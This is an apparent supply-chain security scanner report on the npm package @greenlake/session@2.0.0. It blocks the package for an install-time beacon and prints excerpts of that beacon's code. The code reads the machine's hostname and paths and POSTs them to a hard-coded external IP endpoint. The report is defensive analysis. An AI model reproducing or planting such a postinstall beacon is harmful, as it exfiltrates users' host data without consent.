@greenlake/session@2.0.0
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiSource confirms unconsented installation-time disclosure of identifying host and project metadata to a fixed external endpoint with no evident functional need. This supports blocking as install hook abuse.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or import of index.js.
Impact
The endpoint receives the machine hostname, install path, working directory, and npm version.
Mechanism
The beacon constructs a metadata payload and sends it by HTTP POST without an affirmative consent check.
Attack narrative
Installing the package automatically runs a beacon that sends machine and package-location metadata to a fixed external endpoint. The package entrypoint triggers the same report when imported.
AI rationale
Source confirms unconsented installation-time disclosure of identifying host and project metadata to a fixed external endpoint with no evident functional need. This supports blocking as install hook abuse.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs during postinstall.
- The beacon sends a POST to a fixed external HTTP endpoint.
- The transmitted payload includes the machine hostname, install path, working directory, and npm version.
- The beacon also fires when the package entrypoint is imported.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@greenlake/session";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @greenlake/session@2.0.0.
See all versions of @greenlake/session for other recorded verdicts.
- Avoid installing @greenlake/session@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.